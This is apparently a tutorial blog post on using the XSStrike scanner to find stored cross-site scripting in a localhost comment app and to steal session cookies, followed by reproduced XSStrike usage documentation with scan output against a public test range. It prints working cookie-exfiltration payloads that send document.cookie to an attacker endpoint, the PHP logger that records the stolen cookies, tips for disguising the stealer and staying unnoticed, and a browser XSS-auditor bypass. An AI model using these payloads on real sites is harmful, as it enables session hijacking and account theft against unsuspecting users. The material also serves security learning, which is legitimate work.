Introduction
Cross-site scriptiong (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript on another user’s browser. As a consequence, attaker can perform a number of attacks:
Cookie theft
: Stealing cookies/sessions (SessionID).Keylogging
: Setting up a keyboard event listener (addEventListener) and then send all of the user’s keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.Phishing
: Inserting fake login forms into the page via DOM manipulation and his own server (attacker) to trick users into submitting sensitive information.- …
For more details on the tool or XSS in general check:
Stealing Session Cookies with XSStrike (Raw Example)
We’ll use simple & vulnerable comment system on our localhost to provide full example of finding vulnerability (with XSStrike) and stealing the user session (some custom cookiestealer). We’ll try to do things manualy (without additional tools like burp), relying on curl, browser developer tools and similar.
Since our custom/vulnerable comment system lies behind authentication, we need to fetch some cookies that we’ll later include in XSStrike header. You can do that with wget, Developer tools or via some other means:
$ wget --keep-session-cookies --save-cookies cookies.txt --post-data 'login=true&username=admin&password=theone' http://localhost/cyberpunk/
Check saved cookies:
$ cat cookies.txt # HTTP cookie file. # Generated by Wget on 2018-12-05 13:57:59. # Edit at your own risk. localhost FALSE / FALSE 0 PHPSESSID 4459ggkrmnlcafa7s2pkir7bu2
We can use that cookie to confirm if everything works as it supposed to:
$ curl --cookie cookies.txt "localhost/cyberpunk/" --verbose ... <div class = "container"> CURRENTLY LOGGED IN: admin <br/><br/> <a href = "xss_comments/index.php">XSS Comment example </a> <br/><br/> Click here to <a href = "logout.php" tite = "Logout">Logout.</a> </div> </body> </html>
In the source code we can see “CURRENTLY LOGGED IN: admin” part, so everything looks fine. To continue with our target “localhost/cyberpunk/xss_comments/”, grab the header for later XSStruke usage:
$ curl --cookie cookies.txt "localhost/cyberpunk/xss_comments/" --head --verbose
* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /cyberpunk/xss_comments/ HTTP/1.1
> Host: localhost
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: PHPSESSID=oni1joo2krmkkh38kioimf46d2
So, we have everything we need to proceed with XSStrike scan:
$ python3 xsstrike.py -u "http://localhost/cyberpunk/xss_comments/" --data "submit=ada&txt=query" --headers
When XSStrike asks for header details, paste:
GET /cyberpunk/xss_comments/ HTTP/1.1 Host: localhost User-Agent: curl/7.58.0 Accept: */* Cookie: PHPSESSID=4459ggkrmnlcafa7s2pkir7bu2
The result:
XSStrike v3.1.1 [~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: submit [-] No reflection found [!] Testing parameter: txt [!] Reflections found: 1 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 3092 ------------------------------------------------------------ [+] Payload: ><HtMl%09onMOUseovEr%09=%09(confirm)()> [!] Efficiency: 100 [!] Confidence: 10 [?] Would you like to continue scanning? [y/N] N
Seem ok, some vulnerability is found, but this implicit payload/vulnerability test is maybe too agresive for our taste, too much noise on the site (with this Stored XSS). The “<HtMl onMOUseovEr = (confirm)()>” payload inserted into the comments prompts a confirm dialog box to all other users. We should always try and be as discreet as possible, so you might want to try a custom payload. Generate some file with payload in each line. Include that file in the call:
$ python3 xsstrike.py -u "http://localhost/cyberpunk/xss_comments/" --data "submit=ada&txt=query" --headers -f ./custom_payload.txt XSStrike v3.1.1 [+] cyb3rpunk greeting [txt]: 1/22/2 [+] B166ER reporting [txt]: 2/2
in case custom payload fails, you’ll end up with:
[~] cyb3rpunk greeting [txt]: 1/11/1
In any case, vulnerability is confirmed, and we can proceed with the next step, stealing the session. The idea, insert some JS code to send document.cookies to attacker. For e.g.:
<script>document.location='http://localhost/attacker/cookiestealer.php?c='+document.cookie;</script>
with cookiestealer.php content:
<?php header ('Location:https://google.com'); $cookies = $_GET["c"]; $file = fopen('log.txt', 'a'); fwrite($file, $cookies . "\n\n"); ?>
Although it works (log.txt ends up with PHPSESSID=eabq4idv0qct7j3i62dqnr3rdp), it’s also aggresive, completely redirecting users to attacker page, which then again redirects to google.com. Users will definitely know something is wrong. We need something to send cookies/session without redirection, and there are many ways to do this. Few raw JS examples:
<script> document.write('<img src="http://localhost/attacker/cookiestealer.php?c=' + document.cookie + '" />') </script>Hello from CyberPunk Team.. or : <script> var req = new XMLHttpRequest(); req.open("GET", "http://localhost/attacker/cookiestealer.php?c="+document.cookie); req.send();</script>Hello from CyberPunk Team..
For the first one you should adjust cookiestealer to provide image, maybe even renaming the obvious “cookiestealer.php” to something less suspicious like “imgprovider.php”. Sending an image from php:
$name = './cyberpunk_logo.png'; $fp = fopen($name, 'rb'); header("Content-Type: image/png"); header("Content-Length: " . filesize($name)); fpassthru($fp);
Note: When imputing malicious XSS code, we had some problems with Chrome (with ERR_BLOCKED_BY_XSS_AUDITOR). Although it works, input gets through, you could circumvent by running chrome without xss auditor:
chrome --disable-xss-auditor
Or you can use Firefox/Mozilla, it doesn’t interfere.
XSStrike 3.1.1 Examples
Collected from XSStrike GitHub Usage page:
- Scan a single URL
- Crawling
- Timeout
- Delay
- Payload Encoding
- Bruteforce payloads from a file
- Blind XSS
- Supplying HTTP headers
- Fuzzing
- Using proxies
- Find hidden HTTP parameters
- Verbose Output
- Skip confirmation prompt
- Skip DOM scanning
- Update
In some examples we used Firing Range, good playground for automated web application security scanners.
Scan a single URL
Test a single webpage.
Get request:
$ python3 xsstrike.py -u "https://public-firing-range.appspot.com/reflected/parameter/body?q=a" XSStrike v3.1.1 [~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: q [!] Reflections found: 1 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 3072 ------------------------------------------------------------ [+] Payload: <D3v%0aOnMouseoVER%0d=%0d(prompt)``%0dx>v3dm0s [!] Efficiency: 100 [!] Confidence: 10 [?] Would you like to continue scanning? [y/N] N
Post request:
$ python3 xsstrike.py -u "https://public-firing-range.appspot.com/reflected/parameter/form" --data "q=" XSStrike v3.1.1 [~] Checking for DOM vulnerabilities [+] WAF Status: Offline [!] Testing parameter: q [!] Reflections found: 1 [~] Analysing reflections [~] Generating payloads [!] Payloads generated: 3072 ------------------------------------------------------------ [+] Payload: <a%0aOnpOINTerentEr%09=%09[8].find(confirm)%0dx>v3dm0s [!] Efficiency: 100 [!] Confidence: 10 [?] Would you like to continue scanning? [y/N] Y
Crawling
Start crawling from the target webpage for targets and test them. Option: -l (default: 2)
$ python3 xsstrike.py -u "http://public-firing-range.appspot.com/reflected/" --crawl -v -l 10 [~] Crawling the target http [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/escapedparameter/js_eventhandler_unquoted/UNQUOTED_ATTRIBUTE [+] Vector for q: /+/auTOfOcuS/+/OnFoCUs=(confirm)() [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/textarea_attribute_value [+] Vector for q: '></textarea/><hTmL%0doNmouseoVer+=+[8].find(confirm)// [+] Potentially vulnerable objects found at http://public-firing-range.appspot.com/reflected/ ------------------------------------------------------------ 189 Pipes the parameter into an eval, i.e. eval(%q); ------------------------------------------------------------ [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/style_attribute_value [+] Vector for q: '></style/><DetAIlS%09ONToGGLe%0a=%0aa=prompt,a()> [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/css_style_value [+] Vector for q: </STYLe/><hTml/+/OnMOuseover%0a=%0aconfirm()> [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/iframe_attribute_value [+] Vector for q: '><htML/+/OnMOuSeOVEr%0d=%0dconfirm()%0dx> [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/tagname [+] Vector for q: ><A%0aoNmOUsEOvEr%0d=%0dconfirm()%0dx>v3dm0s [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/css_style_font_value [+] Vector for q: </STYLe/><htMl%09ONMoUSEOvER%0d=%0d(prompt)``> [+] Potentially vulnerable objects found at http://public-firing-range.appspot.com/reflected/parameter/js_eval?q=a ------------------------------------------------------------ 3 <script>eval("a");</script> ------------------------------------------------------------ [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/title [+] Vector for q: </titLe/><hTml%0aOnMOuSEOvER%09=%09(prompt)``%0dx// [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/attribute_unquoted [+] Vector for q: ><d3v/+/ONmouSeoVer%0a=%0aconfirm()%0dx>v3dm0s ... [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/head [+] Vector for q: <d3V%0doNPOiNTeReNTEr%0a=%0aconfirm()>v3dm0s [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/iframe_srcdoc [+] Vector for q: %26lt;hTml%0aONmOUseoveR%0d=%0dconfirm()%26gt; [+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/textarea [+] Vector for q: </TEXtaREa/><A%09ONpoINTEreNtEr%0d=%0d(confirm)()>v3dm0s [!] Progress: 96/96
If you want to test URLs from a file or just simply want to add seeds for crawling, you can use the --seeds
option.
python xsstrike.py --seeds urls.txt
or
python xsstrike.py -u "http://example.com" -l 3 --seeds urls.txt
Timeout
Option: --timeout
| Default: 7
It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out.
python xsstrike.py -u "http://example.com/page.php?q=query" --timeout=4
Delay
Option: -d
or --delay
| Default: 0
It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a int, for instance 1 means a second.
python xsstrike.py -u "http://example.com/page.php?q=query" -d 2
Payload Encoding
Option: -e
or --encode
XSStrike can encode payloads on demand. Following encodings are supported as of now:
base64
python xsstrike.py -u "http://example.com/page.php?q=query" -e base64
Bruteforce payloads from a file
Option: -f
or --file
. You can load payloads from a file and check if they work. XSStrike will not perform any analysis in this mode.
python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt
Using default
as file path with load XSStrike’s default payloads.
Blind XSS
Option: --blind
Using this option while crawling will make XSStrike inject your blind XSS payload defined in core/config.py
to be injected to every parameter of every HTML form.
python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind
Supplying HTTP headers
Option: --headers
This option will open your text editor (default is ‘nano’) and you can simply paste your HTTP headers and press Ctrl + S
to save.
Host: <domain> Accept: text/html,apllication/xhtml+xml,application/xml;q=0.9... ...
Fuzzing
Option: --fuzzer
The fuzzer is meant to test filters and Web Application Firewalls. It is painfully slow because it sends randomly* delay requests and the delay can be up to 30 seconds. To minimize the delay, set the delay to 1 second by using the -d
option.
python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
Using proxies
Option: --proxy
| Default 0.0.0.0:8080
You have to set up your prox(y|ies) in core/config.py
and then you can use the --proxy
switch to use them whenever you want.
More information on setting up proxies can be found here.
python xsstrike.py -u "http://example.com/search.php?q=query" --proxy
Find hidden HTTP parameters
Option: --params
Find hidden parameters by parsing HTML & bruteforcing.
python xsstrike.py -u "http://example.com/page.php" --params
Verbose Output
Option: -v
or --verbose
It is possible to make XSStrike output more information about what’s happening under the hood by using -v
option as follows:
python xsstrike.py -u "http://example.com/search.php?q=query" -v
Skip confirmation prompt
Option: --skip
If you want XSStrike to continue the scan if a working payload found without asking you if you want to continue scanning then you can use this option. It will skip POC generation as well.
python xsstrike.py -u "http://example.com/search.php?q=query" --skip
Skip DOM scanning
Option: --skip-dom
You may want to skip DOM XSS scanning while crawling to save you time.
python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
Update
Option: --update
If this option is enabled, XSStrike will check for updates. If a newer version will available, XSStrike will download and merge the updates into the current directory without overwriting other files.
python xsstrike.py --update
Conclusion
It’s “rarely” that simple/straightforward in the real life, but it does happen (maybe more often then we’re willing to admit). When developing your website/service, mind your steps, sanitize input/output, encode, be careful not to expose things to such attacks.